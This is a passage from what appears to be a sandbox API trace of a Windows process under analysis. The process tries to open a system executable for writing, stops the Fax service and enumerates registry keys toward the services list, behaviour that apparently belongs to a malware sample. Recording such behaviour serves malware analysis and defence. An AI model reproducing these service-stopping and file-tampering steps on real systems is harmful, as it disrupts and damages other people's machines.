nFileSizeLow=0x44000)) returned 1 [0247.501] CreateFileW (lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0247.501] GetLastError () returned 0x20 [0247.501] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0247.502] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0247.502] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0247.502] OpenServiceW (hSCManager=0x803918, lpServiceName="Fax", dwDesiredAccess=0x20) returned 0x803990 [0247.502] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0247.644] CloseServiceHandle (hSCObject=0x803990) returned 1 [0247.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0247.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0247.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0247.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0247.644] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0247.644] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0247.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0247.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.644] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0247.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0247.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.645] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0247.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0247.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.645] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0247.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0247.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.645] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0247.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.646] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0247.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0247.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.646] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0247.646] RegCloseKey (hKey=0x80000002) returned 0x0 [0247.646] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0247.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0247.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.646] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0247.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0247.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.647] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0247.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f19b8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0247.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.647] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0247.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0247.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.647] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0247.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0247.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.648] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0247.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0247.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.648] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0247.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.648] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0247.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0247.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.648] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0247.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0247.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.649] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0247.649] RegCloseKey (hKey=0x154) returned 0x0 [0247.649] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0247.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0247.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.649] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0247.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0247.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.649] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0247.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0247.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.650] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0247.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0247.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.650] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0247.650] RtlAllocateHeap (HeapHandle=0x2520000, 